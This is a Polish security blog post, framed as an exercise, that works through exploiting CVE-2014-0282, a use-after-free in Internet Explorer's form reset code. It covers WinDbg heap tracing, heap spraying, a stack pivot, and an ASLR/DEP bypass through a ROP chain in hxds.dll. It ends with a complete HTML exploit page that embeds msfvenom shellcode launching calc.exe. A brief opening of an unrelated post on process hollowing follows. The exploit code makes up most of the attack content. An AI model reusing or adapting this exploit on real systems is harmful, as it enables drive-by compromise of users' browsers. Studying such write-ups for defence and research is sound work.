piątek, 26 lutego 2016

Ćwiczenie: Przykład wykorzystania błędu Use after Free.

Wracamy po przerwie, którą zakończyły ferie zimowe. Dzisiaj nieco dłuższy opis jednej z podatności Use after Free (UaF) dla Internet Explorer 6-11. Poprawki dla błędu opisanego w CVE-2014-0282 [0] pojawiły się w czerwcu 2014 roku więc obecnie raczej nie znajdziemy podatnych systemów. Niemniej opis może posłużyć jako ćwiczenie do zrozumienia mechanizmów działania i napisania lub dostosowanie własnego exploit-a.

Wstęp
Środowisko wykorzystanie w poniższym opisie to: Windows 7 (32-bit) z Internet Explorer 8, Debugging Tools for Windows 6.12.633, Immunity Debugger, skrypty mona.py oraz msfvenom.
Zaczynamy od uruchomienia [1] Proof of Concept generującego błąd access violation.


W celu uzyskania większej ilości informacji o błędzie musimy:
  • Ustawić Windows Debugger jako domyślnie uruchamiany przy wywołaniu błędu (tzw. postmortem debugger) – polecenie windbg –I.
  • Ustawić dwie flagi dla aplikacji Internet Explorer – polecenie gflags.exe /i iexplore.exe +hpe +ust (UST – user mode stack trace pozwoli nam prześledzić zdarzenia tuż przed wystąpieniem błędu, HPE – page heap powiadomi nas w momencie próby dostępu do zwolnionego obszaru pamięci).
  • Należy również włączyć filtr w windbg dotyczący obsługi błędów typu access violation.
Po uruchomieniu powyższego kodu powinniśmy otrzymać efekt jak poniżej:

Windbg przejął kontrolę na obsługą błędu access violation. Jedna z metod modułu mshtml.dll (GetLookasidePtr) próbowała uzyskać dostęp do obszaru pamięci pod adresem 0x7664fbc. Adres ten jest wyliczany z wartości przechowywanej w rejestrze esi, która w tym przypadku wynosi 0x7664fa0. Za pomocą komendy kv wyświetlamy ramki stosu prowadzące do miejsca gdzie wystąpił błąd.

0:005> kv
ChildEBP RetAddr  Args to Child             
0430ed80 6757b90e 08adcfd0 00001200 67668b24 mshtml!CElement::GetLookasidePtr+0x7 (FPO: [0,0,0])
0430eda4 672baed1 0629efb0 08adcfd0 672bae9e mshtml!CFormElement::DoReset+0x9c
0430edc0 6736235c 0629efb0 08adcfd0 060cefd8 mshtml!Method_void_void+0x75
0430ee34 6736c75a 0629efb0 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
0430ee84 6738d0cb 0629efb0 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
0430eec0 67313104 0629efb0 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
0430ef14 6ab2a22a 06066fd8 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
0430ef50 6ab2a175 0702ed10 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
0430ef8c 6ab2a3f6 0702ed10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a


Metoda, która odwołuje się do tego adresu to CElement::GetLookasidePtr. Metodą bezpośrednio wywołującą GetLookasidePtr jest CFormElement::DoReset. Jest ona wywoływana gdy resetowana jest wartość elementów formularza za pomocą metody javascript Reset().
Metoda CFormElement :: DoReset wykorzystywana jest w obiektach typu CElement. Jak okaże się później metoda odpowiadająca za tworzenie obiektów tego typu to CTextArea::CreateElement. Obiekt alokowany jest na domyślnej stercie a jego rozmiar to 0x60 (dla IE 8). Poprawka Microsoft między innymi alokuje obiekty tego typu na oddzielnej stercie - tzw. isolated heap (sterta dla krytycznych obiektów Internet Explorer takich jak CElement, CSVGElement, CMarkup czy CTreeNode).
Metoda CFormElement::DoReset po kolei sprawdza wszystkie elementy w istniejącym formularzu i wywołuje dla każdej z nich DoReset(). Dla przykładu metoda CInput::DoReset() dla elementów input czy CRichtext::DoReset dla textarea. W tym samym czasie inne wewnętrzne wywołanie DoReset może „zwolnić” element w formularzu (np. poprzez wyczyszczenie elementów innerHTML form).
W skrypcie PoC wywołującym błąd mamy element testFM, który jest resetowany w funkcji changer().
Wspomnieliśmy, że błąd jest wywoływany w momencie gdy funkcja GetLookasidePtr próbuje uzyskać dostęp do ESI+0x1Ch. ESI zazwyczaj jest wykorzystywany jako wskaźnik do obiektów. Komenda heap –p –a esi pozwoli nam sprawdzić szczegóły dot. alokowanych obiektów na stercie.

0:005> !heap -p -a esi
    address 07664fa0 found in
    _DPH_HEAP_ROOT @ 1f1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    7650bc8:          7664000             2000
    703990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77545674 ntdll!RtlDebugFreeHeap+0x0000002f
    77507aca ntdll!RtlpFreeHeap+0x0000005d
    774d2d68 ntdll!RtlFreeHeap+0x00000142
    7594f1ac kernel32!HeapFree+0x00000014
    6717daa1 mshtml!CTextArea::`scalar deleting destructor'+0x0000002b
    672f7dd0 mshtml!CBase::SubRelease+0x00000022
    67350fdf mshtml!CElement::PrivateExitTree+0x00000011
    …

Możemy zauważyć, że przed wywołaniem funkcji FreeHeap dostęp do pamięci która była zwolniona miała funkcja mshtml!CTextArea. Oznacza to, że zwolniony obiekt to CTextArea. W skrypcie PoC mamy dwa takie obiekty w formularzu testfm.
Wyświetlając wszystkie metody klasy CTextArea za pomocą narzędzia IDA widzimy, że metoda CreateElement(), odpowiada m.in. za alokacje obiektu.

W celu wykorzystania błędy UaF do przejęcia kontroli nad zdalnym systemem istotnym elementem jest określenie rozmiaru alokowanego obiektu. Na powyższym zrzucie z IDA widzimy, że jest to wartość 0x60 (To samo możemy uzyskać analizując CreateElement z poziomu windbg).

0:005> u mshtml!CTextArea::CreateElement
mshtml!CTextArea::CreateElement:
6715cde4 8bff            mov     edi,edi
6715cde6 55              push    ebp
6715cde7 8bec            mov     ebp,esp
6715cde9 56              push    esi
6715cdea 6a60            push    60h
6715cdec 6a08            push    8
6715cdee ff3518446667    push    dword ptr [mshtml!g_hProcessHeap (67664418)]
6715cdf4 ff15c4121367    call    dword ptr [mshtml!_imp__HeapAlloc (671312c4)]

Dla przypomnienia argumenty przekazywane do HeapAlloc() to:

push    60h             ; dwBytes
push    8               ; dwFlags
push    _g_hProcessHeap ; hHeap
call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)


gdzie dwBytes określa rozmiar przydzielanej pamięci dla obiektu CTextArea.

W tym momencie możemy już wyłączyć flagi dla aplikacji Internet Explorer.

Use after Free

Wykorzystując wbudowane w przeglądarkę Internet Explorer narzędzia programistyczne (debugger) oraz dwa poniższe breakpoint-y warunkowe dla windbg jesteśmy w stanie dokładnie prześledzić moment alokacji, zwalniania i ponownego dostępu do zwolnionego obiektu.

Po załadowaniu skryptu do przeglądarki i uruchomieniu narzędzi programistycznych ustawiamy breakpoint-y na funkcji changer().

Z poziomu windbg dodajemy dwa breakpoint-y warunkowe. Pierwszy ma zadziałać przy wyjściu z funkcji RtlAllocateHeap. Dla ograniczenia ilości wyników ustawiamy warunek, że alokowany obszar ma wynosić 0x60. Dodatkowo chcemy aby automatycznie wskazał adres pamięci zarezerwowany dla obiektu.

bp ntdll!RtlAllocateHeap+0xe6 "r $t0=esp+0xc;.if (poi(@$t0) = 0x60) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.printf \"Allocated chunk at 0x%x\", eax;.echo;ln poi(@esp);.echo};g"

Proszę pamiętać, że offset dla RtlAllocateHeap jest różny w zależności do wersji i service pack systemu Windows.
Drugi breakpoint warunkowy dotyczy zwalniania obszaru pamięci. Przy każdym wywołaniu funkcji HeapFree będziemy wyświetlali między innymi adres zwalnianej pamięci.

bp kernel32!HeapFree ".printf \"HeapFree hHeap 0x%x, \", poi(@esp+4);.printf \"Dealloc chunk at 0x%x, \", poi(@esp+0xc);.echo;ln poi(@esp);.echo;g"

Możemy zauważyć, że w obu w/w przypadkach wyświetlamy wartości ze stosu.
Teraz uruchamiając skrypt i „śledząc” go krok po kroku w oknie windbg będą pojawiały się informacje dotyczące alokowanych i zwalnianych obiektów.

Zaalokowanie obiektu pod adresem 0x2bc9c0:

RtlAllocateHeap hHEAP 0x270000, Size: 0x60, Allocate chunk at 0x2bc9c0
(68c8cde4)   mshtml!CTextArea::CreateElement+0x16   |  (68c8ce38)   mshtml!CTextArea::`vftable'

Funkcja zwalniająca przestrzeń pamięci na stercie:

HeapFree hHeap 0x270000, Dealloc chunk at 0x2bc9c0,
(68cada76)   mshtml!CTextArea::`scalar deleting destructor'+0x2b   |  (68cadaae)   mshtml!CRichtext::~CRichtext

Próba dostępu do zwolnionego obszaru pamięci 0x2bc9c0:

(124.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=003217d0 ecx=002bc9c0 edx=00000004 esi=002bc9c0 edi=00000002
eip=690ab956 esp=0209ec00 ebp=0209ec1c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:000001cb=????????

Wiemy już, że zidentyfikowany błąd jest typu UAF. W celu wykorzystania tego typu błędów wymagane jest wykonanie dwóch kroków.
Pierwszy krok to zwolnienie zasobów a drugi to ponowne zarezerwowanie zwolnionego obszaru pamięci. W tym miejscu w pamięci musimy umieścić dane, które pozwolą nam na uruchomienie naszego kodu. Realokacja poprzednio zwolnionego miejsca w pamięci zależy od implementacji zarządzania stertą w konkretnej wersji systemu.

My musimy w pamięci umieścić dużą ilość obiektów (aby zwiększyć prawdopodobieństwo uzyskania dostępu do tego samego obszaru), których rozmiar jest taki sam jak rozmiar zwolnionego obszaru – czyli 0x60. Wykorzystamy fragment kodu javascript z [2] w celu utworzenia tablicy 100 obiektów img. Po wyczyszczeniu formularza wszystkie tytuły obiektów będą miały zapisany ciąg znaków typu string o rozmiarze zwolnionego obiektu. Wykorzystanie obiektów BSTR zawierających nasz string jest standardowym mechanizmem umieszczania danych przez nas kontrolowanych na stercie. Domyślnie ciągi znaków umieszczane są w formacie UNICODE. W celu poprawnego zapisu wykorzystujemy funkcję unescape() z formatowaniem %u. Poniżej właściwy kod:

<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer()
{
  if (startfl)
  {
var c = new Array(100);
for (var a = 0; a < 100; a++) {
c[a] = document.createElement('img'); }
document.getElementById("testfm").innerHTML = "";
var b1 = "%u4141%u4141";
for (var a = 4; a < 94; a += 2)
    {
      b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++) {
      c[a].title = b;
    }
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>


Uruchamiamy powyższy skrypt i za pomocą warunkowych breakpoint-ów monitorujemy funkcje odpowiedzialne za alokacje i zwalnianie pamięci.

Pierwsza alokacja:

RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68c8cde4)   mshtml!CTextArea::CreateElement+0x16   |  (68c8ce38)   mshtml!CTextArea::`vftable'

Zwolnienie obiektu:

HeapFree hHeap 0xc0000, Dealloc chunk at 0x10ca28,
(68cada76)   mshtml!CTextArea::`scalar deleting destructor'+0x2b   |  (68cadaae)   mshtml!CRichtext::~CRichtext

Ponowna alokacja tym razem przez obiekt string o wielkości dokładnie 0x60. Alokowany jest w tym samym miejscu w pamięci:

RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68e44c9f)   mshtml!_HeapAllocString+0x51   |  (68e44d1a)   mshtml!_tcsicmp

Próba dostępu do obiektu przez DoReset():

(d1c.e4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0013ebd0 ecx=0010ca28 edx=00000004 esi=0010ca28 edi=00000002
eip=690ab956 esp=020eef38 ebp=020eef54 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:41414309=????????

Virtual Table

W rejestrze eax mamy nasze dane (zmienna b1 z PoC). Co istotnie DoReset() wywołuje funkcję spod adresu EAX+0x1C8 dlatego że DoReset() odwołuje się do funkcji wirtualnej tablicy. Ponieważ zamieniamy ją na obiekt innego typu zamiast wirtualnej funkcji z „vtable” będzie wskazanie do naszego adresu. Funkcje wskazywane w tablicy są związane z tworzonymi obiektami i mechanizmami dziedziczenia w językach programowania obiektowych.

Spróbujemy prześledzić jeszcze jedno wywołanie błędu:

Alokowanie obiektu:
RtlAllocateHeap hHEAP 0x310000, Size: 0x60, Allocate chunk at 0x35abe8
(67dfcde4)   mshtml!CTextArea::CreateElement+0x16   |  (67dfce38)   mshtml!CTextArea::`vftable'

Odwołanie z DoReset do funkcji z vtable:

Breakpoint 1 hit
eax=67dfce38 ebx=0034d590 ecx=0035abe8 edx=00000004 esi=0035abe8 edi=00000002
eip=6821b956 esp=01faef30 ebp=01faef4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CFormElement::DoReset+0xe4:
6821b956 ff90c8010000    call    dword ptr [eax+1C8h] ds:0023:67dfd000={mshtml!CRichtext::DoReset (681f9193)}

Wyświetlamy informacje o obiekcie umieszczonym na stercie pod adresem z ESI. Debugger informuje nas że jest to CTextArea i bezpośrednio pod tym adresem znajduje się virtual function table.

0:005> !heap -p -a 0035abe8
    address 0035abe8 found in
    _HEAP @ 310000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0035abe0 000d 0000  [00]   0035abe8    00060 - (busy)
          mshtml!CTextArea::`vftable'

Wskaźnik do funkcji to 0x67dfce38:

0:005> dd 0035abe8
0035abe8  67dfce38 00000001 00000008 0038cac8
0035abe8  00000000 0034d2d0 00000065 00016200
0035ac08  00000020 003308d0 00000000 00000000
0035ac18  00000000 00000100 00000000 00000000
0035ac28  00000001 00000000 00000000 00000000
0035ac38  00000000 00000000 00000000 00000000
0035ac48  1d2898e3 88000000 00000000 00000004
0035ac58  00000000 00000000 00000002 00000000

0:005> ln 67dfce38
(67dfce38)   mshtml!CTextArea::`vftable'   |  (67e1d0c0)   mshtml!`string'
Exact matches:
    mshtml!CTextArea::`vftable' = <no type information>

Po zwolnieniu tego obiektu i ponownym zarezerwowaniu pamięci pod adresem 0x35abe8 mamy nasze dane:

0:005> dd 0035abe8
0035abe8 41414141 42424242 42424242 42424242
0035abe8  42424242 42424242 42424242 42424242
0035ac08  42424242 42424242 42424242 42424242

Oznacza to, że najprawdopodobniej możemy przejąć kontrolę nad przeglądarką i wykonać wskazany przez nas kod.

Heap Spraying

W celu wykonania naszego kodu musimy go najpierw załadować do pamięci. W przypadku przeglądarek (ale nie tylko) umożliwia nam to mechanizm tzw. heap spraying. Czyli zarezerwowanie dużej ilości pamięci (i umieszczenie naszego kodu), w tym miejsca w pamięci do którego możemy się odwołać i znamy adres tego miejsca podczas złośliwego kodu. Najlepszym dokumentem wprowadzającym do tej techniki jest [3] i [4]. Często wykorzystywanym „uniwersalnym” adresem jest 0x0c0c0c0c. Użyjemy poniższego skryptu [5] do wypełnienia pamięci blokami danych zawierającymi nasz kod wykonywalny.  Skrypt dodajemy na początek pliku PoC.

<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
    Padding = '';
    NopSlide = '';
 
    var Shellcode = unescape(
    "%u4141%u4141" + "");   
   
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    for (c = 0; c < block_size; c++){
   
        if (c == 226){
            NopSlide += unescape('%u4242%u4242');  (stack pivot)
            c++;
        }else
        {
            NopSlide += unescape('%u9090');
        }
    }
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
</script>


W drugim skrypcie (wywołującym błąd) zmieniamy zawartość zmiennej b1 na:

var b1 = unescape("%u0c0c%u0c0c");

Po uruchomieniu w przeglądarce IE powinniśmy otrzymać podobny wynik. W rejestrze EAX jest wpisany adres 0x0c0c0c0c a EIP próbuje uzyskać dostęp do adresu 0x42424242.


DEP i ROP
Ze względu na włączony mechanizm Data Execution Protection (DEP) w systemach Windows nie możemy wykonać naszego kodu umieszczonego na stercie (obszar pamięci  nie ma ustawionej flagi execute). Technika która umożliwia ominięcie tego mechanizmu to Return Oriented Programming (ROP). W skrócie polega ona na wykorzystaniu kodu wykonywalnego, który już jest w pamięci komputera – czyli przede wszystkim bibliotek dll. Każda funkcja w kodzie wykonywalnym kończy się instrukcją RET, która pobiera ze stosu adres kolejnej instrukcji do wykonania. Wyszukując takie fragmentu funkcji (od jednej do kilku instrukcji poprzedzających RET) nazywane gadżetami ROP można zbudować kod wykonywalny, który wykona jakąś konkretną operację.
W celu wykorzystania techniki ROP musimy znaleźć ciąg odpowiednich gadżetów ROP oraz stworzyć dla nich właściwy stos. Tak budowany stos za pomocą techniki heap spraying ładujemy do pamięci. Następnie musimy ustawić rejestr ESP (wskazuje górę stosu) na miejsce w pamięci gdzie będzie nowy stos. Jest to działanie nazywane tzw. stack pivot. Najczęściej do tego celu wykorzystywaną instrukcją jest XCHG EAX, ESP.
My kontrolujemy EAX, które na powyższym zrzucie z windbg wskazuje na 0x0c0c0c0. To będzie nasza góra stosu.

ASLR
Kolejny problem jaki musimy rozwiązać to „ominięcie” mechanizmu Address Space Layout Randomization (ASLR). Obecnie prawie wszystkie aplikacje i jej komponenty (np. biblioteki) kompilowane są z obsługą ASLR co powoduje, że przy każdym uruchomieniu aplikacji zmieniają się adresy do których ładowana jest aplikacja, jej komponenty a także inne struktury danych związane z procesem aplikacji. Obecnie możliwości ominięcia ASLR są ściśle powiązane z konkretną podatnością i środowiskiem w którym działa podatna aplikacja. Najskuteczniejszą (najbardziej uniwersalną) metodą ominięcia ASLR jest identyfikacja i wykorzystanie błędów związanych z wyciekiem danych. Mając adres do konkretnego obiektu możemy wyliczyć przesunięcie do innych obiektów które nas interesują. Nie zawsze wycieki pamięci są możliwe do identyfikacji.
My wykorzystamy inny mechanizm „ominięcia” ASLR, który jest łatwy do implementacji ale dodaje kolejny warunek konieczny do spełnienia przy próbie ataku. Wykorzystamy bibliotekę, która nie jest skompilowana ze wsparciem dla ASLR. Biblioteka hxds.dll instalowana jest razem z pakietem Microsoft Office 2007/2010. Nie jest ona ładowana domyślnie do przestrzeni adresowej przeglądarki Internet Explorer ale nie jest to problem. Dodajemy do naszego pliku PoC kolejny skrypt:

<SCRIPT language="JavaScript">
   location.href = 'ms-help:'
</SCRIPT>



Po uruchomieniu skryptu do pamięci ładowana jest biblioteka – co widoczne jest na zrzucie ekranu z Process Explorer-a.
Budowa payload
Podsumowując to co napisaliśmy powyżej. ASLR ominiemy wykorzystując znane adresy w bibliotece hxds.dll. Za pomocą gadżetów ROP ominiemy mechanizm DEP i będziemy mogli wykonać złośliwy kod. Ponieważ tworzenie kodu z gadżetów jest czasochłonne ograniczmy się do minimum i tej techniku użyjemy wyłącznie do zmiany uprawnień (za pomocą funkcji VirtualProtect) dla strony która zawiera załadowany przez nas kod. To pozwoli na wykonanie kolejnej części payload zawierającej shellcode.

Musimy teraz skonstruować payload, który będzie:
  • Zmieniał adres stosu na 0x0c0c0c0c (instrukcja XCHG) – tzw. stack pivot
  • Wskaże łańcuch gadżetów ROP wywołujący funkcje VirtualProtect() zmieniającej uprawnienia do strony (ustawiającą między innym Page_execute).
  • Zawierał shellcode uruchamiający naszą komendę (np. calc.exe).
Większość z powyższych zadań możemy wykonać za pomocą skryptu mona.py i narzędzia Immunity Debugger. Uruchamiając Immunity Debugger jako administrator możemy zarejestrować go jako „just in time debugger). Następnie podłączamy się pod proces przeglądarki i jeszcze raz uruchamiamy skrypt. Po wygenerowaniu błędu uruchamiamy komendę !mona rop. Po chwili otrzymujemy wynik. Dla nas interesujące są dwa pliki wynikowe rop.txt oraz rop_chains.txt. W pierwszym z nich znajdziemy adres instrukcji wykonującej operację zmiany adresu stosu:

0x51bd28df :  # XCHG EAX,ESP # RETN    ** [hxds.dll] **   |   {PAGE_EXECUTE_READ}

W naszym skrypcie modyfikujemy poniższą linie z:

var Shellcode = unescape("%u4141%u4141" + "");   

NopSlide += unescape('%u4242%u4242');  (stack pivot)
... 

na

var Shellcode = unescape("%u4444%u4444" + "");

NopSlide += unescape('%u28df%u51bd');  (stack pivot z 0x51bd28df)
...


Po ponownym uruchomieniu otrzymujemy kolejny błąd ale możemy zauważyć, że ESP wskazuje na 0x0c0c0c10 a EIP zawiera wartość 0x44444444.



Możemy teraz zacząć budować końcowy payload. W pliku rop_chains.txt znajdują się wygenerowane automatycznie gadżety ROP. Nas interesuje wersja javascript dla funkcji VirtualProtect(). Skrypt mona.py wygenerował pełen łańcuch ROP. Czasami zdarza się, że brakuje kilku wartości i wtedy sami musimy uzupełniać łańcuch wyszukując odpowiednie gadżety ROP.

rop_gadgets = unescape(
    "%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
    "%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
    "%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
    "%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
    "%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
    "%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
    "%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
    "%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
    "%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
    "%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
    "%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
    "%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
    "%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
    "%u9090%u9090" + // 0x90909090 : ,# nop
    "%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
    ""); //  :


Dodając powyższy fragment do zmiennej shellcode musimy pamiętać o dokładnym umieszczeniu adresu do instrukcji zmieniającej wskaźnik do stosu. Oznacza to, że musimy wyliczyć miejsce gdzie dokładnie w tworzonych blokach pamięci umieścić ten adres. Jest to związane z tym fragmentem funkcji DoReset():

call    dword ptr [eax+1C8h] //w eax będzie 0x0c0c0c0c

Blok zawiera 0x1000 bajtów. Jego struktura jest następująca Padding + Shellcode + NopSlide. Dlatego przy rozbudowywaniu shellcode musimy uwzględniać fragment NopSlide w którym umieszczony jest adres do instrukcji zmieniającej stos (zmienna c).
Sprawdzamy czy funkcja VirtualProtect() działa prawidłowo ustawiając breakpoint na niej (w bibliotece kernel32.dll). Stos w chwili wywołania funkcji VirtualProtect() powinien wyglądać tak:
Ostatni wykonany gadżet ROP z adresu (0x51c4b7ef) z biblioteki hxds zawiera instrukcje jmp esp gdzie ESP wskazuje na adres 0x0c0c0c4c.
Pozostaje nam tylko umieścić shellcode, który już bez problemów zostanie wykonany gdyż fragment pamięci ma już ustawione flagi Read, Write oraz upragnioną Execute.
Za pomocą skryptu msfvenom generujemy shellcode uruchamiający program calc.exe.


Dodajemy go do zmiennej shellcode i modyfikujemy zmienną C.
Poniżej znajduje się pełny kod exploit-a.

<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<SCRIPT language="JavaScript">
   location.href = 'ms-help:'
</SCRIPT>
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
    Padding = '';
    NopSlide = '';
         
    var Shellcode = unescape(
“%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
"%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX, PTR DS:[ESI]#RETN[hxds.dll]
"%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
"%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
"%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
"%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
"%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
"%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
"%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
"%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
"%u9090%u9090" + // 0x90909090 : ,# nop
"%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
"%ue8fc%u0082%u0000%u8960" +  //shellcode wygeneroway za pomocą msfvenom.
"%u31e5%u64c0%u508b%u8b30" +
"%u0c52%u528b%u8b14%u2872" +
"%ub70f%u264a%uff31%u3cac" +
"%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf2e2%u5752%u528b" +
"%u8b10%u3c4a%u4c8b%u7811" +
"%u48e3%ud101%u8b51%u2059" +
"%ud301%u498b%ue318%u493a" +
"%u348b%u018b%u31d6%uacff" +
"%ucfc1%u010d%u38c7%u75e0" +
"%u03f6%uf87d%u7d3b%u7524" +
"%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301" +
"%u048b%u018b%u89d0%u2444" +
"%u5b24%u615b%u5a59%uff51" +
"%u5fe0%u5a5f%u128b%u8deb" +
"%u6a5d%u8d01%ub285%u0000" +
"%u5000%u3168%u6f8b%uff87" +
"%ubbd5%ub5f0%u56a2%ua668" +
"%ubd95%uff9d%u3cd5%u7c06" +
"%u800a%ue0fb%u0575%u47bb" +
"%u7213%u6a6f%u5300%ud5ff" +
"%u6163%u636c%u652e%u6578" +
"%u4100" +
"");   

    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
    //0x1c8 = 456 / 2 = 228 – (34 na Rop chain)  - (97 na payload z venom) = 97
        if (c == 97){
            NopSlide += unescape('%u28df%u51bd');
            c++;
        }else
        {
            NopSlide += unescape('%u9090');
        }
    }
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
</script>

<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>

<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element 
 if (startfl) {
 var c = new Array(100);
 for (var a = 0; a < 100; a++)
 {
 c[a] = document.createElement('img');
 }
 document.getElementById("testfm").innerHTML = "";

 var b1 = unescape("%u0c0c%u0c0c");
 for (var a = 4; a < 94; a += 2)
 {
 b1 += "%u4242";
 }
 b = unescape(b1)
 for (var a = 0; a < c.length; a++)
 {
 c[a].title = b;
 }
   }
}

document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call

</script>
</body>
</html>


Poniższy zrzut ekranu przedstawia wynik naszych działań:




Źródła:

piątek, 13 listopada 2015

Monitorowanie procesów tworzonych przez złośliwe oprogramowane

Istnieje kilka metod „ukrywania” złośliwego kodu w innych procesach. Jedna z nich polega na podmianie zawartości procesu i uruchomieniu w kontekście „legalnego procesu” złośliwego kodu (tzw. process hollowing). Te „legalne procesy” to zazwyczaj procesy systemowe cmd.exe, explorer.exe, svchost.exe czy msiexec.exe.

